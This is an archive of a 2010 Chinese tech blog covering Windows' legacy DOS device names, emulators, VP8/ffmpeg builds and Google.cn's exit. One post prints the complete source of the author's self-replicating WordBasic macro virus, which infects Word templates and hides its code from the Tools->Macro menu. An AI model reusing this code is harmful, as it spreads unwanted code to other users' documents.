有人拿腾讯和当年的微软作对比,我得说,当年的微软比腾讯霸气太多了。面对强大的对手如苹果,微软选择模仿,如Windows1.x的突然诞生,就是在微软当初参加Mac早期的第三方开发基础上自己秘密搞出来的;面对新兴的机遇,微软选择收购,比如创造微软历史的收购86-DOS,收购PowerPoint(很多人不知道PowerPoint的初代是一家名为Forethought的小公司做的,微软在他们一发布Powerpoint就把他们收购了);面对开放标准、行业标准、跨平台系统等等,微软选择Embrace、Extend、Extinguish战略,先假意支持标准,然后加进私货,最后把标准变成自己的标准。IE的发展史、J++/MSJVM平台就是典型的例子,所不同的是前者Extinguish成功,让全世界的Web开发者不得不为两套标准优化;后者被Sun告倒,赔了20亿美元,彻底变成黑历史。当然,微软最为流氓的还是当年利用垄断地位,威逼OEM商不得预装Netscape而使得Netscape彻底完蛋那事。至于腾讯,他虽然在国内互联网上,在IM业界具备了和Windows一样的垄断地位和实力,但是他所收购的东西并不算多,而且都不影响其核心业务;微软能成为微软,却是因为他从最初期就开始玩收购。在仿货上,Windows20年来一直压着Mac;而腾讯的仿货除了打倒了联众,一个能打的都没有。国内的网络上就没有什么自己的行业标准之类,腾讯根本没有实施3E战略的必要。
至于腾讯主要业务的实力,我想是毋庸置疑的。能运行一个世界上用户数量最大、功能最多、对中国恶劣的网络环境适应性最强的民用IM系统,这是腾讯的实力所在;在短时间开发出国内其他公司都没有足够实力开发的Linux、Mac OS X版IM软件,开发出一个远远强于其他IM软件Web版的Web QQ,也证明了腾讯已绝非一家靠山寨生存的企业,他做的那些仿制产品,其实只是尝试而已。
这家著名杂志为何取这样犀利的标题,估计还是因为想炒作吧,利用了很多小企业对腾讯的恐惧心理。

2010年6月28日星期一

37年回荡不去的:MS-DOS的幽灵

WinServer 2008 and con file

1973年,一个名为CP/M的操作系统诞生了。CP/M的文件系统是单层目录结构,文件名限制为8.3字符。为了支持用户程序的输入输出,CP/M提供了虚拟文件 COM1, COM2, COM3, COM4, LPT1, LPT2, CON, AUX, PRN, 和 NUL。
1980年,西雅图电脑产品(Seattle Computer Product)山寨了一个CP/M,称为86-DOS。因此,它同样具有CP/M具有的那些虚拟文件,同样是单层目录结构和8.3字符。由于许多程序总是将文件带扩展名保存,所有以那些虚拟文件名为主文件名的文件,都被视为和那些虚拟文件等价。
1981年,微软买下了86-DOS,并将其以MS-DOS 1.0的名字发布给用户。
1983年,MS-DOS 2.0发布了,它加入了树形目录结构。为了保持向下兼容性,所有的虚拟文件,COM1, COM2, COM3, COM4, LPT1, LPT2, CON, AUX, PRN, 和 NUL,在所有磁盘的所有目录下,不管扩展名是什么,都存在并且实现相同的功能。
1985年,微软终于做出了他们自己的图形用户界面,Windows 1.0。Windows 1.0的所有文件API,都是在DOS中断的基础上实现的,因此那些虚拟文件,在Windows下仍然是你看不到,却永远是存在的,它们的文件名,也就成为了保留文件名。
1987年,微软和IBM合作,推出了一个旨在实现“比DOS更好的DOS,比Windows更好的Windows”的新操作系统OS/2。OS/2虽然已经不再基于DOS,甚至文件系统也换成了新的HPFS;但是,为了与MS-DOS程序相兼容,这些始于CP/M的虚拟文件,其实现被几乎原封不动地带到了OS/2中,它们的文件名,也成为了Windows的保留文件名。
1988年,微软挖来了前VMS工程师Dave Cutler。在他的带领下,一个将成为OS/2的继任者的多用户、抢占式多任务操作系统投入了开发。由于微软和IBM合作关系的破裂,这个系统并没有被作为OS/2的继任者发展起来,而是在1993年以Windows的超集与继任者身份发布——Windows NT。它引入了全新的、当时可谓强大的NTFS文件系统,使得文件名没有必要再被8.3字符限制;但是,因为需要通过NTVDM保持与DOS和Windows(16位)的兼容,以及和旧Windows程序的源码级兼容,DOS(也是Windows)的那些虚拟设备文件,COM1, COM2, COM3, COM4, LPT1, LPT2, CON, AUX, PRN, 和 NUL,又顺理成章地在Windows NT最重要的Win32子系统中实现(虽然由于系统对资源的保护,它们可能无法实现原有的功能),它们的主文件名继续成为保留文件名。
由于Windows NT在当时对系统要求过高(16MB内存在1993年仍然需要一笔较大的投入),而且其运行速度也不够快,微软仍然在继续并行发展旧的Windows架构。
1995年,第一个不需要MS-DOS就能工作的旧系列Windows——Windows 95在万众瞩目中诞生。它不仅拥有连Windows NT都羡慕的即插即用功能,并且正式将Win32的一个功能比较完整的子集引入了旧Windows,同时引入了前两年Windows NT在DOS传统的文件系统——FAT中加入的扩展VFAT,文件名不再受8.3字符限制。然而,一方面由于Windows 95仍然有来自DOS和以前的Windows的“根”,加上Win32子集同样保留了这条“根”,DOS的虚拟设备文件的文件名,继续作为保留文件名在Windows 95,以及后来的Windows 95 OSR2(加入了FAT的新实现FAT32)、Windows 98和Windows Me中存在。
2001年,微软正式发布了完全针对个人用户的Windows NT家族最新成员Windows XP,终结了旧系列Windows的15年历史。从那一时刻开始,Windows NT就是Windows。
2009年,微软发布了第一个不再具备兼容DOS和旧16位Windows程序的能力的Windows——Windows Server 2008 R2。虽然为了兼容DOS和Win16的子系统NTVDM已经消失,但是它又加入了一个能兼容32位的Windows程序的新NTVDM,就算是64位原生程序,其仍然最终实现在64位的Win32子系统(经常被称作Win64,但微软官方并不如此称呼)中。同样为了最大限度实现源码级向下兼容,CP/M、MS-DOS、Win16和32位Win32下的虚拟设备文件,虽然大部分已经失去原来的作用,但仍然如幽灵一般,在64位Win32子系统眼中的任何一个磁盘目录下隐藏着,虽然它们其实并不存在,但是你仍然无法直接建立和打开任何主文件名和它们中的任何一个相同的文件。
一个由虚拟设备文件而造成的限制,竟然能跨越三十多年,跨越CP/M、MS-DOS、Windows、OS/2和Windows NT五个架构而以相同的形式存在,如果从向下兼容角度看,这是个奇迹;但是从发展的角度来看,一个已经放弃与这个限制的来源——MS-DOS的兼容性的全新64位系统,竟然还要被它所继续限制。反观类Unix系统,虽然存在着更多的虚拟设备文件,甚至存在着stdin/stdout/stderr这样和文件系统无关的虚拟文件,但它们都是独立的,位置固定的文件,而不像现在我们谈到的的这些,不管在哪个目录,它们都像幽灵一样存在。
Photobucket Photobucket

LPTx、COMx、PRN、AUX等等虚拟设备的功能,都是在当时为当年的PC而设定的。这些虚拟设备在现代Windows中的存在,在打印驱动程序设置的画面、拨号网络设置中都能清晰地看到。但是,Windows早已具备完善的、与底层无关的对串并口进行操作的API,开发者根本没有必要,甚至是不能通过读写这些虚拟文件来访问串口和并口。

CON、NUL,某种意义上可以说类似C语言的stdin、stdout和Unix的/dev/null,但是,在cmd环境下运行批处理文件,对console输入和输出都有比较完整的处理手段,而基本没有直接对CON进行处理的必要。当然,copy con 文件名 这样DOS下的东西,在CMD下仍然完全有效。
这些无处不在的虚拟文件的存在,也反映了DOS的“磁盘操作系统”的本性,文件系统就是磁盘的卷,里面的结构可以千变万化,而不像类Unix系统那样,整个文件系统是逻辑概念,不需要和磁盘等存储设备形成对应关系。Unix中的设备文件都放在/dev下,子文件系统可以被“mount”在根文件系统的任何目录下,然而DOS下由于文件系统没有统一的结构,每一个“盘符”下面就是一个独立王国,不可能拿出一个固定的地方来映射设备,也许微软当时也没有做长远考虑,就让这些幽灵般的设备文件在文件系统的任何地方都有效,然而他们显然没有想到,后来Windows NT的Native层已经有了一个和Unix有些类似的根文件系统,符号链接、挂载点等文件系统概念也在慢慢实现。但是,他们实现Win32有一个很重要的目的就是让为基于DOS的16位Windows系统开发者能够很快移植到NT为首的新平台上来,因此他们把DOS的这个显著特性也完全给移植了过来。后来,NT就算移植到非x86架构,移植到x86-64架构,仍然要对最初的Win32兼容,这样下来,DOS的这些特性一直保留到了DOS已经完全在系统中消失的今天。
苹果当年从90年代末已经成为“活化石”(协作式多任务,没有内存保护)的旧Mac OS系统迁移到基于Nextstep和BSD的Mac OS X系统,也设计了一个和当年的Win32类似的Carbon API,它把旧Mac OS中大多数正规的系统管理器(旧Mac OS的各种系统调用都称之为各种各样的“Manager”)移植到了Mac OS X,以方便开发者迅速转到Mac OS X上来。当初,苹果和微软不同,他们明确声明了Carbon将只是一个过渡的API,最终苹果将放弃对它的支持,开发者必须最终过渡到Mac OS X原生的接口Cocoa上来。然而,以Adobe为首的某些大公司忽略了这一说法,虽然很快就使用Carbon开发了一系列经典大型软件的Mac OS X版本,但他们并没有认真考虑Cocoa化的时间表。2007年苹果突然宣布,Carbon在Leopard系统之后将不再被更新,Mac OS X移植到x86-64架构时将不包括原生版本的Carbon库,iPhone OS也不支持Carbon。Adobe等这时才傻了眼,回过来慢慢Cocoa化自己的那些大怪物们已经显得非常仓促。这样,Flash插件在OSX下慢、Photoshop CS4 Mac版不支持64位等等问题成了乔布斯严厉抨击他们“懒惰”的重要理由。对Adobe来说,直到CS5,其Creative Suite系列仍未能彻底转向Cocoa,未能保持与其Windows版本同步的功能,至于Flash插件,则是仓促做了Cocoa版,却仍然和以前一样能让Macbook变成火炉。至于苹果,其异常高调的对Adobe的抨击,是建立在Leopard到Snow Leopard的大量进步基础上的:支持了OpenCL,支持了新的多线程API Grand Central Dispatch (GCD),完全Cocoa化的新QuickTime框架,而整个系统的大小反而比Leopard小了1G以上。虽然抛弃了Carbon的发展,但是Snow Leopard对旧程序的兼容性,和Leopard相比并没有降低。
微软通过各种正当的或者无耻的甚至非法的手段达成的强大垄断优势,一个方面也拖慢了微软的发展。虽然他们竭尽全力想保持向下兼容性,但是从Windows 98到Windows 2000、XP,Windows XP到Vista,总是有一批软件最终无法兼容。有人说如果一件东西没有坏就不要修它,但是当今IT的发展已经达到微软靠传统垄断模式越来越力不从心的程度了。前有苹果iOS/AppStore平台的强大威胁(至少在美国是如此),后有Google的云计算概念,微软总是被动迎战,但Zune打不过iPod,Windows Live永远找不着北,进入Bing时代后虽然耗费了比苹果还多的宣传费,却完全无法在全球和Google,中国和百度、腾讯对抗。掣肘微软创新的,也许就是微软的垄断平台中那些他们没有勇气砍掉的东西,那些CON、LPTx、COMx,那个C:\,那个越来越难以实现的“向下兼容”……Windows 7中干脆搞了个在虚拟机上实现的“Windows XP 模式”,这证明他们已经开始意识到他们的那些“向下兼容”已经和他们的创新发生冲突了。也许有一天,当一个全新的、强大的、简洁的Windows系统出现的时候,所有的旧应用程序都能在一个几乎完美的虚拟旧系统的环境中运行,这时候,CON、LPTx、COMx终将从系统的保留文件名中彻底消失,而他们实现的新的“向下兼容性”将比以往任何时候都强大。
生物的进化达到人类这种水平,人类依然保持着灵长类的一切特征、哺乳类的一切特征和动物的一切特征,人类的身体成为人类发展的最后障碍;微软为了保持向下兼容性,折腾了20多年,.net这样的革新提出了10年,Windows仍然还没摆脱这样一个小小的限制。这最后也许真是微软的悲剧吧。
这篇文章在一位朋友发给我开头那张图之后顺手写成,几句气话而已。尽管把口水喷过来,无论你拿着美分、角票、日元,或者只是为了图一时之快。

2010年6月17日星期四

Safari 5.0 for Windows 免安装半绿色版

Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16
Photobucket
Safari 5.0在iOS(原来的iPhone OS)4.0发布之日出现。这一次Safari 5除了由于最近一年多来各大浏览器Javascript速度竞赛而极大提升的Javascript执行速度外,还特别添加了专门为阅读带有大段文本的网页而设计的阅读器功能(具体要多大段,目前不明,但是article标签能极大提升该功能自动启动的概率)。
Photobucket
由于在Safari4的某个版本开始,需要安装“Apple Application Support”这个流氓才能运行,因此我有一段时间没有做免安装版。这一次发现,其实那个包的现有版本很多东西还是可以便携的。因此,我做了Safari 5的免安装版,但切忌在装有老的Apple Application Support的系统运行(如装有Safari 4.0.3、QuickTime 7.6.4/7.6.5、iTunes 9.0.x/9.1的系统)。
由于前几天很忙,Safari 5发布了一个多星期我才做这个免安装。
SkyDrive下载:http://cid-66b9967ec9d22dd4.office.live.com/self.aspx/New1/winsafari/Safari5.7z
顺便提一下,SkyDrive已经改用Office Live的域名了。

2010年5月27日星期四

Windows NT 3.51 in Anex86

一直以来都认为PC98的模拟器(QEMU-9821除外,那个连Win2000都能跑)跑不了WINNT系的系统,但是今天的尝试证明这是错的。。
首先,必须使用ANEX86。NP21的SASI,WINNT不支持。T98NEXT 启动NT3.51内核出错。Anex86呢?先把扩充内存加到最大14MB


然后建个大小至少350M的HDI文件


格了HDI,装个DOS,用anxdiet把NT3.51 日文版光盘里的PC98目录拷进HDI,运行winnt /b,进入免软盘安装




然后重启,进WINNT内核


在这个画面,键盘没有识别出来,选那个106 键盘吧,虽然这个待会问题会很大


等文件复制完,重启,可以看到NT内核的启动画面


这里得注意了,最好少按几下键,因为不知为什么,多按了键,会死机,“蓝屏”(其实PC98的NT的STOP 错误是黑底白字)


下面能用鼠标的尽量用鼠标,如果运气好中间没有死机,就能到这个画面,等它完成,否则得从头开始了。。(PC98 NT的安装程序不会保留MSDOS启动,只有重新sys a:开始。。)


正式进入系统,记得先在Anex86设置里把graph键MAP到没用的按键(我是map到F11),否则登录时的ctrl+alt+del是没法按的。因为和开机时一样,随便按键都可能导致STOP错误,因此这个系统没实际作用(如果FM BOARD选86音源,声音还能自认)。



Windows NT在90年代前期可谓是x86 PC上最为复杂庞大的OS,为玩那些老游戏而生的PC98模拟器不能完美模拟也是情有可原。现在这个系统因为不能方便地使用键盘,没有任何实用价值。。。

2010年5月20日星期四

VP8 正式开源发布及我的支持VP8编码的ffmpeg编译版

年初Google正式收购了On2公司,关于On2的VP系列视频编码器将实现开源的说法就被广泛地提出来。On2大概在08年底就放出了关于VP8的几篇王婆卖瓜的文章,但是一直都没有放出任何一个能压制VP8的软件。直到昨天(5月19日),也就是Google完成On2收购后的整整3个月,Google终于发布了其新WebM项目(http://www.webmproject.org/),而其中最重要的部分就是libvpx,也就是一个开源的VP8编码解码器。另外,Google在MKV格式的基础上,为libvpx开发了一个新的专用封包格式WebM。但是经过实际测试,VP8不仅同样支持普通的MKV封包格式,甚至也能支持老的AVI封包格式(目前来看VP8不支持B帧,因此比xvid、x264之类广泛使用B帧的编码器更兼容AVI)。
libvpx通过一个专门制定的、类似BSD协议的WebM协议发布,目前开源社区对它的态度尚没有完全确定的迹象,在一星期内对libvpx的支持应该不会正式进入ffmpeg和mplayer的源码树。Google官方发布了libvpx的源码及ffmpeg/mplayer支持libvpx、以及通过修改已有的MKV支持来支持WebM的patch(http://code.google.com/p/webm/downloads/list)。

我今天下午在MinGW 4.3.3 TDM-1平台成功编译了libvpx和支持libvpx、WebM的ffmpeg、mplayer。ffmpeg 使用vp8压制视频的参数为-vcodec libvpx_vp8, 标准的-b、 -g参数可用,其他可用参数可以参考vp8的四个preset(我一起打在压缩包中了),如果用ffmpeg
默认设置,一定要加上-qmax 51,默认的qmax(31)对于VP8来说Q值无法满足码率控制的需求。libvpx_vp8支持的封装格式据我实际测试,至少包括webm、mkv、mov和avi。至于mencoder,因为困扰了很长时间的mingw gcc生成SSE指令不稳定的问题,我只能在禁用了SSE的mencoder中成功输出VP8视频部分的AVI文件,而且qmax不能大于31(这应该还是mencoder的问题)。

Photobucket
ffmpeg 2pass 输出webm文件

Photobucket
mencoder 1pass输出VP8编码的AVI文件

Photobucket
mplayer 播放VP8编码的AVI

Photobucket
目前能下到的非开源VP8压缩程序Wildform Flix WebM,问题很多。

我的支持libvpx与WebM的ffmpeg、mplayer:http://cid-66b9967ec9d22dd4.skydrive.live.com/self.aspx/.Public/yksoft1-ffmplayervp8.7z

我试编码的VP8测试文件(可能不会存活很长时间,占空间较大):
http://cid-66b9967ec9d22dd4.skydrive.live.com/browse.aspx/.Public/VP8-Tests

我粗略编码了一些文件,粗略觉得VP8比flv1、vp6和xvid都强,和frameref=1,关闭bframe和所有main、high profile功能的simple
H264完全可以一拼,但是和main、high的H264相比可能还有点差距。这是第一个发布版,也许在彻底开源化后开源社区可以让它和Theora一样最终脱胎换骨,打败H264。

如果需要使用DirectShow框架的播放器播放WebM文件和VP8编码的AVI文件,请安装Google的VP8 Directshow解码器vp8decoder.dll、WebM分离器webmsplit.dll、WebM源筛选器webmsource.dll。可以从http://code.google.com/p/webm/downloads/list中下载 webmdshow-0.9.5.0-20100518.zip,然后手工安装。

Update 5.29:发现ffmpeg的libvorbis 支持会导致如果文件开始时有100%静音,静音的vorbis包会被丢弃。。改了下,顺便升级了libvorbis
http://cid-66b9967ec9d22dd4.skydrive.live.com/self.aspx/.Public/ffmpeg-libvpx-vp8-yksoft1-u.7z

Update 6.6:ffmpeg已经官方支持通过libvpx的VP8编码、解码和webm格式,需要git的最新libvpx trunk,vcodec名改为libvpx,官方暂时不支持vp8的高级选项和配置(比如自动替代参考帧altref之类),需要使用-qmax 51实现码率控制。
mplayer也支持了libvpx的解码,mencoder还不行。
我的编译版(用w32threads了。。似乎用pthreads,使用libvpx就会出错。。其他没问题)
http://cid-66b9967ec9d22dd4.skydrive.live.com/self.aspx/.Public/ffmpeg-mplayer-libvpx-vp8-yksoft1-0606.7z

Update 6.21: ffmpeg在6月9日后对libvpx的更多参数提供了支持。前几天libvpx正式升级到0.9.1,我继续编译了带有新版本libvpx的ffmpeg和mplayer(遗憾的是mencoder仍然没有官方支持libvpx)。
下载:http://cid-66b9967ec9d22dd4.office.live.com/self.aspx/.Public/yk-ffmpeg-mplayer-vp0.91.7z
另外,开发者rbultje和yuvi制作了ffmpeg原生vp8解码器,其ffmpeg分支的git源码树在git://github.com/yuvi/ffmpeg/tree/vp8中,我也编译了(不是基于最新的ffmpeg主干):
http://cid-66b9967ec9d22dd4.office.live.com/self.aspx/.Public/ffmpeg-yuvi-vp8dec.7z

2010年4月8日星期四

自制的WordBasic简单宏病毒

WordBasic是什么?是指Microsoft Word从2.0版本到7.0版本所具有的脚本编程或者称之为“宏”功能。虽然它并不如Word 97之后取代它的VBA那么强大,但是也能对Word的整个界面进行定制,进行磁盘文件操作,运行一部分平台API函数,也能将宏在多个文件之间进行拷贝。我最近蛋疼了一下,在Word7.0英文版、中文版环境下作了一个简单的WordBasic宏病毒,而且也能在Word 6.0 for Macintosh上运行。
这个宏AutoOpen,寄生于Normal.dot中,当打开任何文件时会将自身复制到打开的文件中,并将目标文件保存为模板(Word7.0和以下不支持在普通文档中储存宏)。同时劫持ToolsMacro(工具->宏),使得无法查看宏代码。payload部分包括在4月15日祝本人生日快乐,并且统计运行次数,超过10次,则写入AutoExec宏,在下一次启动Word时将Normal模板中的本代码销毁。
其代码列表如下(必须是GB2312内码)
Dim Shared dname$, sname$, mname$, isscw, ismac '全局变量,包括判断是否中文Word,是否Mac
Sub MAIN

On Error Resume Next

DisableAutoMacros 0
FileSummaryInfo .Update
Dim gname As FileSummaryInfo '获得当前打开的文件信息
GetCurValues gname
sysv$ = AppInfo$(16) '获得系统的拼写检查语言,来判断是否中文版
sysp$ = AppInfo$(1) '获得平台,判断是否Mac
If InStr(sysp$, "Win") Then
sname$ = gname.Directory + "\" + gname.FileName + ":autoopen"
ismac = 0 'Windows平台,得到打开的文件的Windows形式路径
Else
sname$ = gname.Directory + ":" + gname.FileName + ":autoopen"
ismac = 1 'MacOS Classic平台,得到打开的文件的MacOS形式路径
End If

mgyy$ = "美国英语"
If sysv$ <> mgyy$ Then '根据拼写检查语言的返回值判断是否中文Word
dname$ = "global:autoopen"
isscw = 0 '英文版的Normal命名空间“Global”
Else
dname$ = String$(1, 85) + String$(1, 178) + String$(1, 211) + String$(1, 195) + ":autoopen"
isscw = 1 '中文版的Normal命名空间“共用”,注意WordBasic的Chr$不支持高Ascii,只能用String$
End If

mname$ = LCase$(Right$(MacroFileName$(MacroName$(0)), 10))

If InStr(mname$, "normal") Then '判断是否运行于Normal模板中(文件路径最后10个字符中是否有Normal)
MacroCopy dname$, sname$
FileSaveAs .Format = 1 '是则将自身复制到打开的文件中,并将打开的文件改为模板
Else
MacroCopy sname$, dname$ '否则将自身复制到Normal模板中
End If

changeabout '调用修改“帮助—>关于”子程序
changetoolsmacro '调用修改“工具->宏”子程序
pload '调用Payload
End Sub

Sub changeabout
On Error Resume Next
ToolsMacro .Name = "helpabout", .Delete, .Show = 0 '删除已有的“帮助—>关于”子程序
ToolsMacro .Name = "helpabout", .Edit, .Show = 0 '新建“帮助—>关于”子程序
LineUp 1
InsertPara
Insert "Msgbox"
Insert Chr$(34) + "by yksoft1 in 2010"
If isscw = 1 Then Insert " 中文Word照样中!"
Insert Chr$(34)
InsertPara
DocClose 1 '在正常代码前插入弹出消息框代码
End Sub

Sub changetoolsmacro
On Error Resume Next
ToolsMacro .Name = "toolsmacro", .Delete, .Show = 0 '删除已有的“工具—>宏”子程序
ToolsMacro .Name = "toolsmacro", .Edit, .Show = 0 '新建“工具—>宏”子程序
LineUp 4, 1

InsertPara
Insert "Msgbox"
Insert Chr$(34)
If isscw = 1 Then
Insert "这个选项目前无法使用。"
Else
Insert "This option is currently unavailable."
End If
Insert Chr$(34)
Insert "," + Chr$(34) + "Microsoft Word" + Chr$(34) + ",48"

DocClose 1 '将正常代码替换为显示消息框
End Sub

Sub pload
On Error Resume Next
d = Today()
If Month(d) = 4 And Day(d) = 15 Then
If isscw = 0 Then
MsgBox "Happy birthday to yksoft1!", "YKSOFT Systems", 48
Else
MsgBox "yksoft1 生日快乐!", "YKSOFT Systems", 48 '祝我生日快乐
End If
End If
sV$ = GetProfileString$("Microsoft Word", "yk-mvirus") '从WINWORD6.INI取得运行次数
ic = Val(sV$)
If ic >= 10 Then
autoexec_kill '调用自毁程序生成段
Else
ToolsMacro .Name = "autoexec", .Delete, .Show = 0
End If
SetProfileString("Microsoft Word", "yk-mvirus", LTrim$(Str$(ic + 1)) '运行次数+1

End Sub

Sub autoexec_kill
On Error Resume Next
ToolsMacro .Name = "autoexec", .Delete, .Show = 0 '删除现有AutoExec宏
ToolsMacro .Name = "autoexec", .Edit, .Show = 0 '新建AutoExec宏
Insert "On Error Resume Next"
InsertPara
Insert "ToolsMacro .Name= "
Insert Chr$(34)
Insert "autoopen"
Insert Chr$(34)
Insert ", .Delete, .Show=0"
InsertPara
Insert "ToolsMacro .Name= "
Insert Chr$(34)
Insert "helpabout"
Insert Chr$(34)
Insert ", .Delete, .Show=0"
InsertPara
Insert "ToolsMacro .Name= "
Insert Chr$(34)
Insert "toolsmacro"
Insert Chr$(34)
Insert ", .Delete, .Show=0"
InsertPara
DocClose 1 '删除本病毒的主程序及生成的ToolsMacro、HelpAbout宏

End Sub

删除方法:文件->模板->管理器->宏,找到AutoOpen、ToolsMacro和HelpAbout,删除之

经过调试发现这段代码应该可以用同一个Word 7.0英文版的模板文件在Word 7.0英文版、Word 7.0中文版、Word 6.0 for Macintosh英文版中实现感染和表现代码,如果直接创建,也能在Word 6.0中文版中正常运行。据我所查到的资料,Word 非英文的西方语言版本 菜.单项对应的宏名称与英文版不同,而且我还没搞到德、法之类语言版本的Word 7.0或者6.0,因此还不能实现本病毒的运行效果。

WordBasic基本随着Word 7.0的死亡而死了,当初Word 97的WordBasic->VBA转换器,并不能支持我在此病毒中新建宏的操作。因此这段代码应该在这个时代没有破坏性可言,只是一个概念证明而已。

2010年3月23日星期二

Google.cn R.I.P.

Photobucket
Google 作为世界上最为成功的搜索引擎、在线广告系统和在线服务商,其正式进入中国而开办本地化的.cn网站,从中文网络上能找到的最早的时间在2005年4月底。(请参考http://biz.163.com/05/0428/03/1ID4T94K00020QEF.html、http://tech.sina.com.cn/i/2005-04-27/0914594970.shtml)
web.archive.org(可能无法访问)搜索也证实了这一点。
http://web.archive.org/web/20050422012354/http://www.google.cn/
此时Google.cn是一家贴图论坛的域名
http://web.archive.org/web/20050427005834/http://www.google.cn/
此时Google.cn已经属于Google
http://web.archive.org/web/20050509235124/http://www.google.cn/
此时Google.cn已经是简体中文的Google站。

经历2009年的“儿子与母亲不正当关系”风波,2009年底——2010年初的Google.cn被黑客与内鬼里应外合盗取gmail等关键技术资料事件,Google美国总部的高层可能觉得继续在中国大陆运营已经不再合适,而多次声称将退出中国大陆。3月23日,Google.cn被重定向到google.co.hk,标志着Google.cn的主要服务——搜索引擎停止运营,Google退出中国事件达到了高潮阶段。

Photobucket
而Google.cn仍然在经营的服务包括视频搜索、中国本地化的Google地图、265网站导航等等。至于中文Adsense,因为原本就是美国总部的服务,目前尚没有受干扰的现象出现。
对于yksoft1而言,因为基本不使用Google.cn而使用Google.com美国主站和百度,这一事件并没有造成重要影响。不过,可能是设置问题,在本地的网络上,原本通过设置/ncr而不再转向到Google.cn的Google.com,现在也开始被强制重定向到google.co.hk。这应该是一时问题。
Google在世界上法律法规最难以解释和实行的国度经营一个以“Don't be evil”为宗旨的搜索引擎5年,今天终于还是坚持不下去了。愿其在中国之后的道路一路走好。

Update 15:27
根据我的验证,Chrome、Toolbar等Google美国总部的软件,其下载和自动更新尚未受到影响。
而Google拼音输入法,虽然为Google中国所开发,但是其文件均存放于Google主站的服务器上,因此仍然可以下载。

Update 3.26 0:10
现在Google.com主站已经可以按照原有的/ncr进入,但是明显google搜索遭到了比以往更为严重的干扰。“二胡”、“温故而知新”、“桃李满天下”“好好学习天天向上”里会有什么样的关键词呢?

Update 3.30 18:30
Google(从首页进入)的搜索功能彻底废了。看来网民的反应激起了更为强烈的不安。请自己看看这个URL
http://www.microsoft.com/www.google.&rfa
如果显示连接被重置而不是404 not found,那么看来我的判断是对的。因为Google首页搜索任何东西,语法差不多都是
http://www.google.com/search?hl=en&source=hp&q=yksoft1&aq=f&aqi=&aql=&oq=&gs_rfai=
里面正好有www.google.和rfa两个关键词。而去掉gs_rfai=,搜索正常。

Update 3.31 10:30
Google 搜索已恢复。可能是因为统计原因而自动封掉,但是在人工干预下解开。看来被发现得快是有好处的么?

2010年3月3日星期三

在Visual C++ 1.10/2.0环境下编译Mini vMac

Visual C++ 和微软的其他开发工具一样有很长的历史,其第一个32位版本早在NT 3.1的1993年就正式出现了。Mini vMac 是我在开放源代码的模拟器中所见过代码最为精炼、简洁的,这也使得它具有相当好的移植性。上次搞到32位版本的VC++ 1.10,于是就准备拿这个Mini vMac来玩玩。
首先使用Mini vMac的源代码镜像,在Mini vMac环境中运行Build,用-e msv -ev 6000参数生成一个适合于Visual C++6.0的完整源码zip文档。
把该zip解压开,打开Visual C++ 1.1,在这个源码所在的目录新建一个工程文件。把源码目录下src子目录下的所有.c和.rc添加到工程中。
由于Visual C++ 1.1环境出现在Windows 95之前,和VC6相比,它具有很多限制:
1.shlobj.h不存在。所有和Explorer相关API和ActiveX相关API都不可用。
2.许多Win32的常数宏定义在自带头文件中不存在。
3.OLE2相关的均不可用。
4.winmm API中的一些参数与VC6有很大差别,比如WAVEFORMATEX结构不能用等等。
5.内联函数定义只有__inline。
6.使用IDE生成的makefile中,rc编译器的路径只包括工程文件所在路径。
7.编译器只支持WinMain为Windows应用程序主函数名。
这里仅仅提到了与Mini vMac相关的一些。因此,必须进行修改,才能编译成功。
我大概具体修改了这么一些地方:
1、CNFGGLOB.h中,#define MayInline __forceinline 改为 __inline。
2、MYOSGLUE.c中

1)
必须加入常量VK_APPS、VK_LWIN、VK_RWIN、SPI_SCREENSAVERRUNNING、_MAX_PATH、等一大堆东西(记不清,自己根据错误内容去看吧。。)
2)
typedef HRESULT (WINAPI *SHGetSpecialFolderPathProcPtr) (
HWND hwndOwner,
LPTSTR lpszPath,
int nFolder,
BOOL fCreate
);
LOCALVAR SHGetSpecialFolderPathProcPtr MySHGetSpecialFolderPath = NULL;
注释掉,加一行LOCALVAR long MySHGetSpecialFolderPath = NULL;
LOCALFUNC blnr HaveMySHGetSpecialFolderPath(void)
{
下面
if (! DidSHGetSpecialFolderPath) {
HMODULE hLibModule = LoadLibrary(TEXT("shell32.dll"));
if (NULL != hLibModule) {
MySHGetSpecialFolderPath =
(SHGetSpecialFolderPathProcPtr)
GetProcAddress(hLibModule,
#if MyUseUni
TEXT("SHGetSpecialFolderPathW")
#else
TEXT("SHGetSpecialFolderPathA")
#endif
);
FreeLibrary(hLibModule);
}
DidSHGetSpecialFolderPath = trueblnr;
}
也注释掉。这是因为VC1.1不存在shlobj.h,无法使用这些API,而且也不能使用typedef HRESULT (WINAPI *SHGetSpecialFolderPathProcPtr) 这样的方法来自己定义个函数指针,只有干掉了。
3)
#ifndef EnableShellLinks
#define EnableShellLinks 1 改成 0
#endif
快捷方式相关的VC1.1不能用,没办法。
4)
LOCALPROC MySound_Start(void)
中的
WAVEFORMATEX wfex;
改成
PCMWAVEFORMAT wfex;
其初始化部分
wfex.wFormatTag = WAVE_FORMAT_PCM;
wfex.nChannels = 1;
wfex.nSamplesPerSec = SOUND_SAMPLERATE;
wfex.nAvgBytesPerSec = SOUND_SAMPLERATE;
wfex.nBlockAlign = 1;
wfex.wBitsPerSample = 8;
wfex.cbSize = 0;
改成
wfex.wf.wFormatTag = WAVE_FORMAT_PCM;
wfex.wf.nChannels = 1;
wfex.wf.nSamplesPerSec = SOUND_SAMPLERATE;
wfex.wf.nAvgBytesPerSec = SOUND_SAMPLERATE;
wfex.wf.nBlockAlign = 1;
wfex.wBitsPerSample=8;
5)
LOCALPROC MyAppendSubmenuConvertName(HMENU hMenu,
HMENU hSubMenu, char *s)
中,
MENUITEMINFO mii;
注释掉
#if 0改成1
下面的
memset(&mii, 0, sizeof(MENUITEMINFO));
mii.cbSize = sizeof(MENUITEMINFO);
mii.fMask = MIIM_TYPE | MIIM_SUBMENU;
mii.fType = MFT_STRING;
mii.hSubMenu = hSubMenu;
mii.dwTypeData = ts;
mii.cch = (UINT)_tcslen(ts);
(void) InsertMenuItem(hMenu, (UINT) -1, TRUE,
&mii);
注释掉
VC1.1没有InsertMenuItem这个API和MENUITEMINFO结构。
6)int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPTSTR lpCmdLine, int nCmdShow)
改成
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPTSTR lpCmdLine, int nCmdShow)

3、CNFGRAPI.h的#include 注释掉。
